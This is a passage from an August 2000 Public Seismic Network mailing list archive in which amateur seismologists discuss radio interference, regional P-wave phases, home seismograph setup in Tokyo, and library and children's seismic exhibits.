filter will solve the problem. A word of warning about decoupling capacitors. Every capacitor has a tiny bit of inductance and it can resonate. You need to keep well away from these frequencies. A 1nF disc ceramic with 1/2" leads resonates at about 40 MHz. A large 10 nF disc resonates at about 14 MHz. I don't have figures for the multi layer ceramic caps, but they are available. Radio engineers may use several small capacitors in parallel to get a low impedance at a high frequency. > I called the electronics company and they are working on it. They seemed to > doubt that shielding it would work since AM is long wavelength. I don't see why not. > While I was listening to it, I made some observations. When I touched the > intrument the magnet would move and the radio signal would go out. I guess > the instrument signal overpowers the radio signal when it is moving. Which shows that the radio signal is coming through with the seis signal.... > Also, > my touching the coil or preamp seemed to affect it too. With the coil > unplugged, I could hear better if I touched the pre-amp. However with the > coil plugged in touching it would often stop the signal. It seemed very > touchy. This suggests that you have an input / earthing problem. Have you been able to contact any helpful Ham radio operators? If there is one locally, he will probably have had problems with KOLM as well.... Regards, Chris Chapman __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: update on radio interference From: "Charles R. Patton" charles.r.patton@........ Date: Wed, 09 Aug 2000 22:02:29 -0700 I just wanted to bring up two points. Please re-read my suggestion that you add some series impedance to the lines at the entrance to your pre-amp and then do your bypassing. This has a two-fold purpose =96 it increases the series impedance from the antenna structure formed by the seismo lead-in wires so that the bypass caps you use don=92t have large circulating current in them. This helps if the ground structure of the preamp area is not real good. Secondly it allows a higher attenuation in the single section lo-pass you=92re attempting to create. In many instances, the attenuation is the ratio of the capacitance of the lead-in wires to ground, some hundreds of pF probably in your case, to the bypass cap value. With the use of a resistor, this value becomes a pF or two, making possible higher attenuation ratios. The second point is where Chris Chapman did a brief field strength calculation in part and wrote: =93This gives E =3D 0.23 V / m=94 This i= s OK as far as it went, the point I want to make is, that in practice, this near (2 miles) to the station, the AC power lines play a big part in the perceived signal levels. Think about how AM radio fades in and out as you approach power lines sometimes. So if you=92re on the same AC feeder line, you can have considerably higher levels. A simple test is to take just about any meter, put it on the AC scale, and measure from your preamp ground to the seismo lead-in wires. The AC voltage measured is almost certainly due to the broadcast station. Just about any meter should work, as it takes effort to cut-off the frequency response in the AM radio band. Charles R. Patton __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: WWVB Receiver From: Karl Cunningham karlc@....... Date: Fri, 11 Aug 2000 12:06:17 -0700 For those of you in California, Fry's Electronics has a WWVB-based clock (cat #484288) on sale until Tuesday for $19.95. This is almost identical to the Radio Shack unit, and is probably identical internally. See http://psn.quake.net/wwvbsdr.html for instructions for using it with SDR. Karl __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: PSN display SEISMOLOGY AND EARTHQUAKES From: "Frank Cooper" fxc@....... Date: Fri, 11 Aug 2000 19:41:18 -0500 To: PSN Note attachment: PSN Display case Frank Cooper and John Cole made a SEISMIC display for the lighted = display case in the Friendswood, Texas, USA, library. We identify = ourselves as PSN Seismic Stations and include information about PSN. It = is titled SEISMOLOGY AND EARTHQUAKES. 1. The top shelf shows a 40 inch panorama of the 1906 San Francisco = earthquake and information about it. 2. The second shelf shows a 40-inch digital and analog earthquake = recording of the 6.9 KERMADEC ISLAND REGION EQ (09/20/97) with each = phase identified by name. Also on this shelf is Frank Cooper's home-made = S-G seismograph sensor. A picture of the sensor identifies the parts = and how it works. 3. On the third shelf are pictures and information about Frank Cooper = and John Cole and their PSN seismic stations. 4. Fourth shelf includes display name (on right) and information about = PSN and includes the PSN World-Wide map (on left). 5. Fifth shelf is John Cole's Mini Lehman and information about it and = one seismogram (far left). A picture of the sensor identifies the parts = and how the sensor works. One of the librarians has told us there has been a lively interest in = the display especially among young people. They also stated they were = happy to have a display that is especially appealing to males. Frank Cooper's PSN web page is: http://freeweb.pdq.net/fxc/ John Cole's PSN web page is: http://freeweb.pdq.net/fxc/four.htm We include our web page addresses in the display and I have had quite a = few "hits" since the display opened early in August. The display will = remain during the month of august and may go to a neighboring library = after that. Regards, Frank Cooper, Friendswood, Texas, USA

To: PSN
Note attachment: PSN Display = case
 
Frank Cooper and John Cole made a = SEISMIC=20 display for the lighted display case in the Friendswood, Texas, USA,=20 library.  We identify ourselves as PSN Seismic Stations and include = information about PSN. It is titled SEISMOLOGY AND = EARTHQUAKES.
 
1. The top shelf shows a 40 inch = panorama of the=20 1906 San Francisco earthquake and information about it.
2. The second shelf shows a 40-inch = digital and=20 analog earthquake recording of the 6.9 KERMADEC ISLAND REGION EQ = (09/20/97) with=20 each phase identified by name. Also on this shelf is Frank Cooper's = home-made=20 S-G seismograph sensor.  A picture of the sensor identifies the = parts and=20 how it works.
3. On the = third shelf are=20 pictures and information about Frank Cooper and John Cole and their PSN = seismic=20 stations.
4. Fourth shelf includes display name (on right) and = information about PSN and includes the PSN World-Wide map (on=20 left).
5. Fifth shelf is John Cole's Mini Lehman and = information=20 about it and one seismogram (far left). A picture of the sensor = identifies the=20 parts and how the sensor works.
 
One of the librarians has told us there has been a = lively=20 interest in the display especially among young people.  They also = stated=20 they were happy to have a display that is especially appealing to=20 males.
 
Frank Cooper's PSN web page is:  http://freeweb.pdq.net/fxc/
John Cole's = PSN web page=20 is:  http://freeweb.pdq.net/fxc/f= our.htm
 
We include our web page addresses in = the display=20 and I have had quite a few "hits" since the display opened = early in=20 August.  The display will remain during the month of august and may = go to a=20 neighboring library after that.
 
Regards,
Frank Cooper, Friendswood, Texas, USA
 
 
 
Subject: Re: PSN display SEISMOLOGY AND EARTHQUAKES From: The Lahrs johnjan@........ Date: Fri, 11 Aug 2000 20:29:51 -0600 Frank and John,
Congratulations on a very good looking and informative seismic display!

I finished one recently at the USGS Map Sales Area of the Denver Federal
Center.  It features two shake tables and a "jump here / make-a-quake"
active seismometer.  There are some pictures here:
http://lahr.org/john-jan/earth_science/esic/i ndex.html

Cheers,
John

At 06:41 PM 8/11/00 , you wrote:
To: PSN
Note attachment: PSN Display case
 
Frank Cooper and John Cole made a SEISMIC display for the lighted display case in the Friendswood, Texas, USA, library.  .....

* John C. and Jan H. Lahr                
*JohnJan@........                 &nb sp;   
* 1925 Foothills Road                    
* Golden, Colorado 80401-1718            
* (303) 215-9913                     ;     
* http://lahr.org/john-jan        & nbsp;      
Subject: Re: PSN display SEISMOLOGY AND EARTHQUAKES From: "Frank Cooper" fxc@....... Date: Fri, 11 Aug 2000 22:08:09 -0500 Thanks John for your comments. I visited your site listed below and = found it to be very informative --- especially the videos. I would = encourage all PSN members to check it out for the educational = information it contains. Very professional job. Regards, Frank -----Original Message----- From: The Lahrs To: psn-l@.............. Date: Friday, August 11, 2000 9:43 PM Subject: Re: PSN display SEISMOLOGY AND EARTHQUAKES =20 =20 Frank and John, Congratulations on a very good looking and informative seismic = display! =20 I finished one recently at the USGS Map Sales Area of the Denver = Federal Center. It features two shake tables and a "jump here / = make-a-quake"=20 active seismometer. There are some pictures here: http://lahr.org/john-jan/earth_science/esic/index.html =20 Cheers, John =20 At 06:41 PM 8/11/00 , you wrote: =20 To: PSN Note attachment: PSN Display case =20 Frank Cooper and John Cole made a SEISMIC display for the = lighted display case in the Friendswood, Texas, USA, library. .... =20 =20 * John C. and Jan H. Lahr =20 *JohnJan@........ =20 * 1925 Foothills Road =20 * Golden, Colorado 80401-1718 =20 * (303) 215-9913 =20 * http://lahr.org/john-jan =20
Thanks John for your comments.  I visited your = site=20 listed below and found it to be very informative  --- especially = the=20 videos.  I would encourage all PSN members to check it out for the=20 educational information it contains.  Very professional = job.
Regards,
Frank
-----Original = Message-----
From:=20 The Lahrs <johnjan@........>
To: = psn-l@.............. <psn-l@..............>
D= ate:=20 Friday, August 11, 2000 9:43 PM
Subject: Re: PSN = display=20 SEISMOLOGY AND EARTHQUAKES

Frank and=20 John,
Congratulations on a very good looking and informative = seismic=20 display!

I finished one recently at the USGS Map Sales Area = of the=20 Denver Federal
Center.  It features two shake tables and a=20 "jump here / make-a-quake"
active seismometer.  = There are=20 some pictures here:
http://lahr.org/john-jan/earth_science/esic/index.html

Cheers,
John

At 06:41 PM 8/11/00 , = you=20 wrote:
To: PSN
Note attachment: = PSN=20 Display case

Frank Cooper and John Cole = made a=20 SEISMIC display for the lighted display case in the Friendswood, = Texas,=20 USA, library.  ....

* John C. and Jan H.=20 = Lahr           &nb= sp;    =20
=
*JohnJan@........        &nb= sp;           &nbs= p;=20
* 1925 Foothills=20 = Road           &nb= sp;        =20
* Golden, Colorado=20 = 80401-1718          &nb= sp; =20
* (303)=20 = 215-9913           = ;            =   =20
* http://lahr.org/john-jan      &= nbsp;        =20
Subject: more regional P phases From: sean@........... Date: Sat, 12 Aug 2000 21:43:44 -0500 (CDT) Bob, I have never heard of a Pb phase, either in regional or teleseismic studies. I have no idea what Winquake is doing. The Pn, Pg, and P* phases all arrive within a few seconds. Suppose an event is at 100 km from the station: Pn at 7.76 km/sec, arrives about 12.9 seconds after the origin time. Pg at 6.5 km/sec arrives at 15.4 seconds, and P* at 5.6 km/sec arrives at 17.9 seconds, or 5 seconds after Pn. At twice the distance (and time, of course) Pg and P* often fade out. The classic reference is: SEISMOLOGY, by K.E.Bullen, Cambridge Press, Third Edition, 1965. He describes the early efforts to determine near regional velocities in the '30s. As regional networks became reliable in the early '70s, a more complete picture of the near regional structure brought out papers in the BSSA by Nuttli, Kisslinger and others, but the original terms of the 1940's J-B tables were retained. Unfortunately, I don't know of any specific references. Maybe the annual indexes of the BSSA would mention some papers, or maybe the Seismological Society has a searchable data base. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Newcomer questions From: Brett Collars brettc@............ Date: Sun, 13 Aug 2000 05:59:44 -1000 (HST) Hello, First and foremost as a newcomer I would like to sincerely thank Larry for the wonderful website that I have throughly perused over the past week, as well as the numerous and significant contributions to amateur seismology he has obviously made over the past years - you've got passion Larry ! I live in Tokyo and have recently taken a keen interest (via "applied experiential observation") in seismology. I now want to build a seismograph to further explore. I will undoubtedly use Larry's hardware and software (order forthcoming) but first I need to establish the probabilty that I can succeed in building an effective sensor given my resources and site location at home. I have a few questions which hopefully you can help to answer: 1. Soil - the site is my (rented) home in Meguro-ku, Tokyo. I do not believe it to be ideal as the soil column is "mushy" from a geological point of view. The best (approximate) column stratification data I can get is: 0m-1m - fill soil 2m-7m - volcanic ash clay 8m-10m - clay 11m-20m - gravel 20m - ... (??) rock I'm sure solid bedrock would be much better, and I cannot change my site (nor use the basement at work), so I guess what I am asking is "Would my soil column pose a serious degradation ?" From what I gather the soil conditions at my home are perfect for "liquification" and could add persistence or ringing to seismic wave activity - surely this might exhibit itself in a seismic sensor I assume (not to mention collapsing the house during the big one). 2. Background noise - I have a small roadway (~3m wide) next to my house. Auto and truck traffic is relatively light, slow, and in Japanese fashion very quiet (aurally). I am concerned however about the proximity of the roadway (~1-2m) to the sensor's potential site on my concrete "back porch". More bothersome is a railway located about 50m from the house. The railway is elevated 15m above ground on steel encased concrete pillars (EQ proofed). The rails are welded (no seams) and the train cars are DC electric powered (should I also worry about EMI ?). The trains run on 3-4 minute intervals and are very quiet and cannot be heard or felt inside the house. I do not feel any vibration on the grounds surrounding my home or underneath the railway, and only by placing my hand on the support columns of the railway can I feel a relatively "medium" transmission of the passing trains vibration. I plan on assessing this background noise by obtaining a 4.5hz geophone and mounting it at the potential site, connecting the (raw) output to a single channel of a digital storage o-scope, and by connecting the second channel of the scope to a microphone comparing the seismic noise to the airborne noise of the passing vehicles to identify any related noise. I then plan on passing the geophone signal through a 10hz low pass to get measurement of what the relative noise level in the band would be. I would then relocate the geophone to a friend's "quiet" home several km away and repeat the measurement. I am hoping to obtain an average noise value that could be applied as the baseline for the nominal recognition differential at my site (assuming I record a few events for comparison). Does this approach have any validity ? 3. Sensor - I would like to build a Lehman or SG but more easily practible I am thinking about a 1HZ geophone, either the HS-10-1 (from the Mitcham place) or purchasing a horizontal DS-1 from Geospace. I realistically do not have time nor the location (space is at a premium here) for a Lehman, and if I built an SG it would have to be of rugid build as it would be located on the porch outside. The specific questions: - Has anyone used the DS-1 from Geospace ? It seems it would be ideal for me as it is small, can be easily weatherproofed, and would not require construction. I am concerned that it would be very sensitive to noise and less sensitive to distant seismic waves. - Would a vacuum enclosed SG eliminate the temperature and "draft" problems ? I would like to get the sensor correct from the beginning as I plan to have a N-S,E-W, and vertical eventually (all of the same design ). 4. Sofware - I have a 128kb dedicated connection to the Internet at home and would like to view my seismograph from work by taking the output from SDR, converting it to GIF, and throwing into a web page automatically. I have both Windows (2000) and UNIX (Solaris/SPARC). Any ideas on this ? Any help or discussion would be most appreciated. Thanks, Brett I do not have a basement nor crawlspace to locate the sensor. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: PSN display SEISMOLOGY AND EARTHQUAKES From: "steve hammond" shammon1@............. Date: Sun, 13 Aug 2000 09:06:07 -0700 That is a really impressive display. This is the kind of activity we = talked about when we first organized the PSN. Community outreach and = education. Nice work guys--=20 Regards, Steve Hammond PSN San Jose -- Aptos, CA -----Original Message----- From: Frank Cooper To: psn-l@.............. Date: Friday, August 11, 2000 5:42 PM Subject: PSN display SEISMOLOGY AND EARTHQUAKES =20 =20 To: PSN Note attachment: PSN Display case =20 Frank Cooper and John Cole made a SEISMIC display for the lighted = display case in the Friendswood, Texas, USA, library. We identify = ourselves as PSN Seismic Stations and include information about PSN. It = is titled SEISMOLOGY AND EARTHQUAKES. =20 1. The top shelf shows a 40 inch panorama of the 1906 San Francisco = earthquake and information about it. 2. The second shelf shows a 40-inch digital and analog earthquake = recording of the 6.9 KERMADEC ISLAND REGION EQ (09/20/97) with each = phase identified by name. Also on this shelf is Frank Cooper's home-made = S-G seismograph sensor. A picture of the sensor identifies the parts = and how it works. 3. On the third shelf are pictures and information about Frank = Cooper and John Cole and their PSN seismic stations. 4. Fourth shelf includes display name (on right) and information = about PSN and includes the PSN World-Wide map (on left). 5. Fifth shelf is John Cole's Mini Lehman and information about it = and one seismogram (far left). A picture of the sensor identifies the = parts and how the sensor works. =20 One of the librarians has told us there has been a lively interest = in the display especially among young people. They also stated they = were happy to have a display that is especially appealing to males. =20 Frank Cooper's PSN web page is: http://freeweb.pdq.net/fxc/ John Cole's PSN web page is: http://freeweb.pdq.net/fxc/four.htm =20 We include our web page addresses in the display and I have had = quite a few "hits" since the display opened early in August. The = display will remain during the month of august and may go to a = neighboring library after that. =20 Regards, Frank Cooper, Friendswood, Texas, USA =20 =20 =20
That is = a really=20 impressive display.  This is the kind of activity we talked about = when we=20 first organized the PSN. Community outreach and education. Nice work = guys--=20
Regards, Steve Hammond PSN San Jose = -- Aptos,=20 CA
-----Original = Message-----
From:=20 Frank Cooper <fxc@.......>
To: psn-l@.............. <psn-l@..............>
D= ate:=20 Friday, August 11, 2000 5:42 PM
Subject: PSN display=20 SEISMOLOGY AND EARTHQUAKES

To: PSN
Note attachment: PSN Display=20 case
 
Frank Cooper and John Cole made = a SEISMIC=20 display for the lighted display case in the Friendswood, Texas, USA, = library.  We identify ourselves as PSN Seismic Stations and = include=20 information about PSN. It is titled SEISMOLOGY AND = EARTHQUAKES.
 
1. The top shelf shows a 40 inch = panorama of=20 the 1906 San Francisco earthquake and information about = it.
2. The second shelf shows a = 40-inch digital=20 and analog earthquake recording of the 6.9 KERMADEC ISLAND REGION EQ = (09/20/97) with each phase identified by name. Also on this shelf is = Frank=20 Cooper's home-made S-G seismograph sensor.  A picture of the = sensor=20 identifies the parts and how it works.
3. On the = third shelf=20 are pictures and information about Frank Cooper and John Cole and = their PSN=20 seismic stations.
4. Fourth shelf includes display name (on right) = and=20 information about PSN and includes the PSN World-Wide map (on=20 left).
5. Fifth shelf is John Cole's Mini Lehman and = information=20 about it and one seismogram (far left). A picture of the sensor = identifies=20 the parts and how the sensor works.
 
One of the librarians has told us there has been = a lively=20 interest in the display especially among young people.  They = also=20 stated they were happy to have a display that is especially = appealing to=20 males.
 
Frank Cooper's PSN web page is:  http://freeweb.pdq.net/fxc/
John = Cole's PSN web page=20 is:  http://freeweb.pdq.net/fxc/f= our.htm
 
We include our web page = addresses in the=20 display and I have had quite a few "hits" since the = display opened=20 early in August.  The display will remain during the month of = august=20 and may go to a neighboring library after that.
 
Regards,
Frank Cooper, Friendswood, Texas, = USA
 
 
 
Subject: Re: PSN display SEISMOLOGY AND EARTHQUAKES From: "steve hammond" shammon1@............. Date: Sun, 13 Aug 2000 09:13:11 -0700 Hi John, That's also a great display-- The automated building gif is = well worth the download time.=20 Regards, Steve PSN San Jose -- Aptos, Ca=20 -----Original Message----- From: The Lahrs To: psn-l@.............. Date: Friday, August 11, 2000 7:51 PM Subject: Re: PSN display SEISMOLOGY AND EARTHQUAKES =20 =20 Frank and John, Congratulations on a very good looking and informative seismic = display! =20 I finished one recently at the USGS Map Sales Area of the Denver = Federal Center. It features two shake tables and a "jump here / = make-a-quake"=20 active seismometer. There are some pictures here: http://lahr.org/john-jan/earth_science/esic/index.html =20 Cheers, John =20 At 06:41 PM 8/11/00 , you wrote: =20 To: PSN Note attachment: PSN Display case =20 Frank Cooper and John Cole made a SEISMIC display for the = lighted display case in the Friendswood, Texas, USA, library. .... =20 =20 * John C. and Jan H. Lahr =20 *JohnJan@........ =20 * 1925 Foothills Road =20 * Golden, Colorado 80401-1718 =20 * (303) 215-9913 =20 * http://lahr.org/john-jan =20
Hi John, = That's also a=20 great display-- The automated building gif is well worth the download=20 time. 
Regards, = Steve =20 PSN San Jose -- Aptos, Ca 
-----Original = Message-----
From:=20 The Lahrs <johnjan@........>
To: = psn-l@.............. <psn-l@..............>
D= ate:=20 Friday, August 11, 2000 7:51 PM
Subject: Re: PSN = display=20 SEISMOLOGY AND EARTHQUAKES

Frank and=20 John,
Congratulations on a very good looking and informative = seismic=20 display!

I finished one recently at the USGS Map Sales Area = of the=20 Denver Federal
Center.  It features two shake tables and a=20 "jump here / make-a-quake"
active seismometer.  = There are=20 some pictures here:
http://lahr.org/john-jan/earth_science/esic/index.html

Cheers,
John

At 06:41 PM 8/11/00 , = you=20 wrote:
To: PSN
Note attachment: = PSN=20 Display case

Frank Cooper and John Cole = made a=20 SEISMIC display for the lighted display case in the Friendswood, = Texas,=20 USA, library.  ....

* John C. and Jan H.=20 = Lahr           &nb= sp;    =20
=
*JohnJan@........        &nb= sp;           &nbs= p;=20
* 1925 Foothills=20 = Road           &nb= sp;        =20
* Golden, Colorado=20 = 80401-1718          &nb= sp; =20
* (303)=20 = 215-9913           = ;            =   =20
* http://lahr.org/john-jan      &= nbsp;        =20
Subject: Re: more regional P phases From: John Hernlund hernlund@....... Date: Sun, 13 Aug 2000 14:06:23 -0700 (MST) On Sat, 12 Aug 2000 sean@........... wrote: > I have never heard of a Pb phase, either in regional or teleseismic > studies. I have no idea what Winquake is doing. Same here, I even asked a few seismo guys...no idea what Pb is. I looked through a few books I have, still no idea. There is a spectrum of possible phases going from the more well known teleseismic phases to Pg etc. to other less known phases the closer the station gets to the source. Perhaps it is an exploration seismo term? Some of the regional complications exist due to a mid-crustal discontinuity. This discontinuity represents the depth (pressure and temperature) where lighter granitic materials transform to denser mineral phases (such as garnet). The depth to this boundary varies as a function of the age, composition, thermal gradient, and thickness of continental crust (which are all in turn inter-related). Also, a sinking of subsiding portion of crust may have a lower boundary than expected, because the reactions that take place to form the denser materials are "kinetically inhibited," meaning that although they are at the right pressure the temperature has not yet risen high enough to give the vibrating atoms enough energy to assume the new crystal geometry. Likewise, an uprising portion of crust may have a higher boundary than expected, because garnet and many other high pressure phases from the mid-crust are stable at the surface. At an even smaller level, many areas contain a "great unconformity" where the initial magmatic rocks which formed the continent are overlain by younger sediments usually along a some what flat surface of ancient erosion. This feature can be observed in some areas, such as the grand canyon in AZ. This will also affect the behavior of waves in certain regions. In general, sediments are seismically slower than magmatic rocks. When some waves travel along the underside of the interface it slowly turns wave fronts up into the sediments. Because the waves slow down while in the sediment, the energy per unit volume increases, which increases the amplitudes. Anyways, this was one of the places I was directed to look into if there really was a Pb phase. If that is the case, its behavior would be quite variable. Maybe the exploration seismo literature would be more relevant? Good Luck! ****************************************************************************** John Hernlund Department of Geological Sciences Arizona State University E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re[2]: more regional P phases From: Angel Rodriguez angel@............ Date: Sun, 13 Aug 2000 16:16:29 -0500 Hi all, In the book Anatomy of seismograms by Ota Kulhanek page 22 he says that the P* and S* are sometimes alternatively referred to as the Pb and Sb, the subscript b referring to basaltic layer -- Best regards, Angel mailto:angel@............ __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: more regional P phases From: RLLaney@....... Date: Sun, 13 Aug 2000 21:44:42 EDT Sean-Thomas, John, and Angel-- Thanks all for the references and background information on P phases. The Pb phase shows for regional events when I make a calculation of travel times on the USGS "Travel Times to Your Seismic Station" calculator (http://geohazards.cr.usgs.gov/tt/). But, its position in relation to other arrivals does not agree with those calculated by Winquake. For example, for a recent event in Ohio (389 km from my location) the USGS calculator shows Pn as first arrival and Pb is 7 seconds later. When I used the regional tables in Winquake, the Pb and a P arrival were first at virtually the same time and Pn came in about a second later. I guess I am now puzzled how Winquake calculates phase arrivals in this situation and why the differences between those determined by the USGS calculator. Bob Laney __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Re[2]: more regional P phases From: John Hernlund hernlund@....... Date: Sun, 13 Aug 2000 23:31:49 -0700 (MST) On Sun, 13 Aug 2000, Angel Rodriguez wrote: > In the book Anatomy of seismograms by Ota Kulhanek page 22 he says > that the P* and S* are sometimes alternatively referred to as the Pb > and Sb, the subscript b referring to basaltic layer That is an interesting name for it, especially when there is no characteristic basalt layer in most regions of continental crust, but that seems to clinch the origin of the name at least! ****************************************************************************** John Hernlund Department of Geological Sciences Arizona State University E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Newcomer questions From: "Ted Blank/Santa Teresa/IBM" ted@.......... Date: Mon, 14 Aug 2000 11:16:17 -0400 Hi Brett, I ran a seismometer (home-built Lehman, my first) in the basement of our apartment building in Tokyo (Minato-ku) in 1992-93. It was a concrete slab basement floor and I got good recordings of local and distant quakes. When we were about to return to the US, an IBM friend in Yamato helped me donate that sensor to the Yamato High School where it may still be running. I know it recorded the Kobe quake because a picture of the sensor was in a Yamato newspaper with the students' recording of the quake. I can give you the name and phone number of my friend if you want to contact him, he also has an amateur interest in seismology. Send me a note offline if you're interested. What do you do in Tokyo? Regards, Ted Blank __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: re more regional P phases From: sean@........... Date: Mon, 14 Aug 2000 11:48:21 -0500 (CDT) Arie and John, Re: Having Pb refer to a "basaltic" layer as Pg refers to a "granitic" crustal layer: That seems to be the answer, and why most continental seismologists have not seen it because they (we) have generally not had a "basaltic" layer to work with. And taking it further, a "Ps" phase for a sedimentary surface layer wouldn't work either, since "S" is taken for shear wave propagation, hence the wildcard notation "P*", which would (of course) also cover all surface layer geologies above the Conrad discontinuity. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Precursor to Ms5.4 D'Entrecasteaux island quake From: Arie Verveer ajbv@............ Date: Tue, 15 Aug 2000 14:26:38 +0800 Recently I have been experimenting with a simple system to detect the ELF/ULF magnetic radiation band. It was used to confirm readings from a fluxgate magnetometer. Anyhow, the data produced tantalizing results that may be precursors to distant quakes. It seemed to produce readings for big quakes at depths greater than 33 km. As always the S/N ratio wasn't very good. A new coil was constructed with 100,000 turns and a design, so as to modify the core material. It should be point out that Mr Charlie Plyler has been working on the ELF quake precursor detection. His site is at http://www.elfrad.com In Larry's PSN event folder are two file 000814a.au3, 000814a.au4. These files are 8 hours long from 16:00 hours UTC on the 14/8/00. Note the Ms 5.4 D'Entrecasteaux island quake at 14/8/00 at 22:11:18.1 ( 9.4S 154.2E 33km) in the file 000814a.au3. The file 000814a.au4 is the ULF magnetic background that appears to show a quake precursor 78 minutes before the event. Also a there is a strong change in the field shortly before the quake. The ELF/ULF data was 0.05Hz low pass filtered. Since the new coil has been working for only a day or so, there are no real statistics to prove or disprove the possibility that big distant quakes can be detected with this coil. Charlie Plyler's system has been running for a while and shows some amazing results. I will continue the monitoring. Cheers Arie __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Seismic exhibit for kids From: Larry Cochrane cochrane@.............. Date: Thu, 17 Aug 2000 20:34:16 -0700 Murray, I am forwarding your questions to the PSN mailing list. Several PSN members have setup display like the one you would like to create. PSN members- Please respond to Murray directly (mskuce@............. since he is not on the list. -Larry Cochrane Redwood City, PSN At 11:08 AM 8/16/00 -0700, you wrote: >Larry, > >Looking around on the WWW I see that you've contributed a lot on amateur >seismic stuff so am hoping you may have some ideas on how best to tackle >this project we have in hand. > >We're working on an exhibit (for Ontario Power Generation) where kid's can >jump up and down to create their own "earthquakes". Yes, we know, this is >nothing like the real thing. > >What we want to show is simply that the Richter scale is a log scale (not >linear) - analagously, that if you tap you foot and get a reading and then >jump as hard as you can and get a larger reading, that he factor difference >here is maybe 30 to 50, or say, 3.0 Richter to 4.3 Richter. - the >extension of this being that a 7Richter is really really big difference. > >People commonly assume that an R5 event is not much smaller than R7 quake >because they don't realize they are dealing with logarithmic notation. >We're trying to make that difference physically tangible with the exhibit, >as well as giving kid the simple fun of seeing the feedback of their >physical action. > >We have a PS2 unit from Kinemetrics (developed originally by Tom Pike, I >believe) here for testing. They have been really helpful. But it appears >that we will have to get and alter the source code used in the software >that comes with the product and after talking to Mel Lund there this seems >like it may present problems - not technical to do with release of the code. > >Our question is, then, should we be using or building some other hardware >that will run with open-source software or is more directly suited to our >needs? Or, to anyone's knowledge, is there software (for which code is >available) which is compatible with the PS2 black box output? I've been >unable to reach Tom Pike to ask him this. > >Our thanks in advance for any suggestions you might have. > >very best, Murray Skuce >Skuce Design Associates >1046 Odlum Drive >Vancouver, B.C. >V5L 3L6 >(604) 253 1414 > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Seismic exhibit for kids From: The Lahrs johnjan@........ Date: Fri, 18 Aug 2000 00:03:06 -0600 Dear Murray, I received your message from Larry Cochrane about setting up a display to illustrate the Richter magnitude scale. One thing to keep in mind is that, approximately, for each unit increase magnitude the amplitude of ground motion goes up by a factor of ten and the duration of shaking increases by a factor of 3 so that the energy radiated increases by a factor of 10x3 = 30 (actually 10 raised to the 1.5 power, or 32). Could you describe in more detail what you have in mind for the exhibit? What will the seismic display look like? Is it on paper or on a computer screen? What did you want the code to do, automatically computer a magnitude? It might be helpful to have a meter that indicates the average amplitude of the signal. The input would need to be filtered so that the needle would not bounce with each peak and trough of the ground motion. Then you could mark the dial with one point indicating "maintain this amplitude for 1 sec for a magnitude 1" The next point with 10 times the amplitude would be labeled: "maintain this amplitude for 3 seconds for a magnitude 2" If the scale can register a signal 100 times greater than the magnitude 1 signal, then this point would be labeled "maintain this amplitude for 10 seconds for a magnitude 3." Regards, John John C. Lahr lahr@........ (work) john@........ (home) Central Region Geologic Hazards Team U.S. Geological Survey PO Box 25046 Denver, CO 80225 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Seismic exhibit for kids From: "Charles R. Patton" charles.r.patton@........ Date: Fri, 18 Aug 2000 00:06:54 -0700 Three orders of magnitude would be hard to see on a standard meter. A 3 =BD digit DVM would be capable of that display, but you=92re back to the original problem of it=92s not very visual. What might be satisfactory i= s to take an A/D chip with 10 bits of resolution or so =96 you=92ll only ne= ed 8 bits of that, but in order to guarantee no missing codes and so forth I=92m suggesting a 10 bit one. The cost is still only a few dollars for the low frequency sampling you=92ll be using. I=92d then feed the decod= ed A/D output to a string of LED=92s, 255 in this case. If you get ambitiou= s you could go for 9 bits and 511 LED=92s. Now a magnitude 1 could be 2 LED=92s on, magnitude 2 would be 20 LED=92s on, and magnitude 3 would be = 200 LED=92s on. That would be very visual and could be constructed to fit th= e area you have. As I sit here, I=92m thinking of that scene in =93Forbidd= en Planet=94 where they=92re in the power control room and the meters are go= ing up one by one as the =93ID=94 monster draws on the power to break down th= e vault-like doors =96 but you probably don=92t want to get quite that carr= ied away! Charles R. Patton __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: From: "Ted Blank/Santa Teresa/IBM" ted@.......... Date: Fri, 18 Aug 2000 07:47:02 -0400 Murray, I applaud your attempts to educate kids (and adults as well!) Another way to achieve your goal is to change the amplification (or let the user do it). By changing the vertical scale on the display or the amplification of the signal you could achieve the effect described by the previous notes. For example, you could have a multi-position switch labeled M1, M2, M3, M4 etc. Going up the scale with the switch would reduce the amplification of the signal by the appropriate amount (through judicious choice of resistors). The vertical scale would stay the same on the screen, but it would get progressively more difficult to make the signal reach the same amplitude at higher "M" values. In essence you simulate the logarithmic Richter scale by making the person jump 10 times harder for a longer time to drive the display to the top and bottom for each increment. The user would choose their M value and start jumping. Arrange things so it was very easy to generate a M1, reasonably easy for M2, etc. The difficult thing will be getting people to read the instructions and try it twice or three times to see the difference. Most people will just jump up and down and say "neat" and walk away. YOu might find that more people get educated if you do small group demonstrations - you know, "next quake in 10 minutes". Pick a person in the audience. You explain the differences in the Richter scale in once sentence (more than this and they will walk away). Then you have the person jump up and down and make the M1 (easy). Switch to M2 and get them jumping. If you get the crowd involved ("Come on everybody, cheer Jimmy on!") you'll have everyone notice how much harder Jimmy has to work for each Richter increment. If Jimmy runs out of steam, maybe you could ask 9 other people to come up and help. THat would be a great visual display of the logarithmic nature, since you can then explain "Sorry, I don't have room up here for another 90 of you to join in - plus the stage would collapse." Should take about 4-5 minutes and every would have a good time and remember the message. I think you'll be disappointed if you just expect people passing by to conduct the experiment themselves - they probably won't bother. Don't forget to use a large screen. Regards, Ted Blank __________________________________________________________ 